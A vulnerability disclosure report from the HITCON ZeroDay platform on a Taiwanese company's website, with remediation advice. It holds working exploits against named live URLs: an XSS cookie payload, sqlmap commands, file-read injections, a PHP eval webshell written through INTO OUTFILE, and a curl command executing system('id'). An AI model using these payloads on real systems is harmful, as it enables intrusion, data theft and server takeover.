Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00457
- Vendor: 祟友實業股份有限公司
- Title: 崇友實業股份有限公司 網站存在 XSS 與 SQLinjection to LFI 與 SQL injection to RCE
- Introduction: 網站存在 XSS 與 SQLinjection to LFI 與 SQL injection to RCE
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/09/02 12:56:19 : 新提交 (由 BTtea 更新此狀態)
- 2023/09/02 13:04:33 : 新提交 (由 BTtea 更新此狀態)
- 2023/09/02 13:11:01 : 新提交 (由 BTtea 更新此狀態)
- 2023/09/04 11:34:30 : 新提交 (由 BTtea 更新此狀態)
- 2023/09/04 11:39:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/09/14 13:20:51 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/09/14 13:20:51 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/09/18 09:01:13 : 修補中 (由 組織帳號 更新此狀態)
- 2023/09/26 15:45:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/11/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00457
- 通報者:blacktea_player (BTtea)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://www.gfc.com.tw/product.php
https://www.gfc.com.tw/js/ajax/model_qua.php
https://www.gfc.com.tw/js/ajax/model_sethouse.php
https://www.gfc.com.tw/js/ajax/model_deploy.php
https://www.gfc.com.tw/model_detail_print.php
https://www.gfc.com.tw/news_detail.php
https://www.gfc.com.tw/invest.php
https://www.gfc.com.tw/project_detail.php
https://www.gfc.com.tw/prod_detail.php
https://www.gfc.com.tw/oper_detail.php
https://www.gfc.com.tw/esg_detail.php
敘述
使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )
-
XSS
https://www.gfc.com.tw/project_list.php?PC_ID=1&startAt=0
GET 參數 startAt 存在 XSS
xss payload"><script>alert(document.cookie)</script> </script><script>alert(document.cookie)</script> );alert(document.cookie)//運行結果
-
SQL injection
由於注入點過多,佐證圖片上傳數量有限,因此僅會有一項SQL injection弱點有注入結果圖片,其他僅做文字敘述與payload佐證
-
https://www.gfc.com.tw/product.php?EC_ID=20150727002
GET 參數 EC_ID 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/product.php?EC_ID=20150727002" --union-cols 10 --batch --dbs運行結果
-
https://www.gfc.com.tw/js/ajax/model_qua.php
POST : NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P
POST 參數 NT_Name , NT_Style , NT_GorA , NT_host 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )-
NT_Name
python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --batch --union-cols 34 --technique BTU --dbs -p NT_Name -
NT_Style
python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --technique BT --batch --dbs -p NT_Style -
NT_GorA
python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --technique BTU --union-cols 34 --batch --dbs -p NT_GorA -
NT_host
python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --technique BTU --union-cols 34 --batch --dbs -p NT_host
-
-
https://www.gfc.com.tw/js/ajax/model_sethouse.php
POST : NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)
POST 參數 NT_Qua 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_sethouse.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)" --technique BTU --union-cols 20 --batch -p NT_Qua -
https://www.gfc.com.tw/js/ajax/model_deploy.php
POST : NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Speed=60
POST 參數 NT_Speed 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_deploy.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Speed=60" --technique BT --batch --dbs -p NT_Speed -
https://www.gfc.com.tw/model_detail_print.php?NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Sethouse=&NT_Speed=60
GET 參數 NT_Sethouse 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/model_detail_print.php?NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Sethouse=&NT_Speed=60" --technique BT --batch --dbs -p NT_Sethouse -
https://www.gfc.com.tw/product.php?EC_ID=20150727001&EL_ID=20150727001
GET 參數 EL_ID 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/product.php?EC_ID=20150727001&EL_ID=20150727001" --technique B --batch -p EL_ID --dbs -
https://www.gfc.com.tw/news_detail.php?SL_ID=20230209001
GET 參數 SL_ID 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/news_detail.php?SL_ID=20230209001" --batch --technique BTU --union-cols 10 --dbs -
https://www.gfc.com.tw/invest.php?PC_ID=20150617001
GET 參數 PC_ID 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/invest.php?PC_ID=20150617001" --batch --technique BT --dbs -
https://www.gfc.com.tw/project_detail.php?PL_ID=20201028001
GET 參數 PL_ID 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/project_detail.php?PL_ID=20201028001" --union-cols 9 --batch --technique BT --dbs -
https://www.gfc.com.tw/prod_detail.php?prodId=15
GET 參數 prodId 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/prod_detail.php?prodId=15" --technique TU --union-cols 7 --batch --dbs -
https://www.gfc.com.tw/oper_detail.php?operId=20
GET 參數 operId 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/oper_detail.php?operId=20" --technique TU --union-cols 6 --batch --dbs -
https://www.gfc.com.tw/esg_detail.php?esgId=69
GET 參數 esgId 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/esg_detail.php?esgId=69" --technique BTU --union-cols 7 --batch --dbs -
未確認的注入頁面,為了不汙染原始環境,請針對此頁面的參數做檢查
https://www.gfc.com.tw/contact_detail.php?PC_ID=20150715001
-
-
SQL injection to LFI
由於資料庫權限過大,所以可以讀檔,嘗試讀取linux常見檔案,執行後可於查看html代碼的地方搜尋product_ele,快速定位到該注入點
PoC payloadhttps://www.gfc.com.tw/product.php?EC_ID=20150727002' and 1=0 union select 1,2,3,4,5,6,7,8,9,concat('">%0A',load_file('/etc/passwd'),'</div>')-- -運行結果
-
SQL injection to RCE
透過上面的SQL injection to LFI查找apache或者相關的站點設定檔,找到路徑為 /etc/httpd/conf/httpd.conf
PoC payloadhttps://www.gfc.com.tw/product.php?EC_ID=20150727002%27%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,9,concat(%27%22%3E%0A%27,load_file(%27/etc/httpd/conf/httpd.conf%27),%27%3C/div%3E%27)--%20-由於瀏覽器會解析標籤導致訊息顯示異常,所以用shell的方式查看資訊
command# windows curl "https://www.gfc.com.tw/product.php?EC_ID=20150727002%27%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,9,concat(%27%22%3E%0A%27,load_file(%27/etc/httpd/conf/httpd.conf%27),%27%3C/div%3E%27)--%20-" -s|find "Directory" # linux curl "https://www.gfc.com.tw/product.php?EC_ID=20150727002%27%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,9,concat(%27%22%3E%0A%27,load_file(%27/etc/httpd/conf/httpd.conf%27),%27%3C/div%3E%27)--%20-" -s|grep "Directory"運行結果
然後可發現實體路徑,然後嘗試在前端可發現路徑下發現無法寫檔
使用網站路徑掃描工具發現的後端路徑
https://www.gfc.com.tw/backend/透過上SQLmap工具獲取後台帳密,由於密碼過於簡單,因此即使經過了MD5的加密,還是可以透過彩虹表解開密碼,然後在後台發現可寫檔路徑為
為了不洩漏資訊,以中文「實體路徑」表示網站根目錄實體路徑位址 實體路徑 /backend/performance/PL_Pic/PL_Pic1 假設網站根目錄是在/tmp/test的話 那就是 /tmp/test/backend/performance/PL_Pic/PL_Pic1利用 SQL injection 注入點寫 WebShell
PoC payloadhttps://www.gfc.com.tw/product.php?EC_ID=20150727002' and 1=0 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'<?php function r($a){ eval($a);} r($_GET[1]);?>' into outfile '實體路徑/backend/performance/PL_Pic/PL_Pic1/abc.php'-- -運行結果
command
curl "https://www.gfc.com.tw/backend/performance/PL_Pic/PL_Pic1/abc.php?1=system('id');"運行結果
-
無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://www.gfc.com.tw/.DS_Store (可能導致洩漏目錄結構,建議刪除)
https://www.gfc.com.tw/backend/ (後台)
https://www.gfc.com.tw/cgi-bin/test.cgi
https://www.gfc.com.tw/test.php
https://www.gfc.com.tw/test2.php -
可正常建立連線之port
3005/tcp open tcpwrapped
3007/tcp open tcpwrapped
上傳之後門已盡數刪除
修補建議
建議可以使用 htmlspecialchars 函式來預防 XSS
htmlspecialchars用法:
https://www.w3schools.com/php/func_string_htmlspecialchars.asp
XSS攻擊防禦原理解說:(wiki):
https://zh.wikipedia.org/zh-tw/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC
建議可以使用 PDO 框架或者 mysqli_real_escape_string 函式,或者改寫成參數化查詢來預防 SQL injection。並且資料庫存取權限應符合最小存取需求,避免使用 root
PDO用法:
https://blog.tarswork.com/article/quick-start-operation-mysql-using-php-pdo/
mysqli_real_escape_string用法:
https://www.runoob.com/php/func-mysqli-real-escape-string.html
參數化查詢原理解說(wiki):
https://zh.wikipedia.org/zh-tw/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2
SQL injection 攻擊成因解說(wiki):
https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5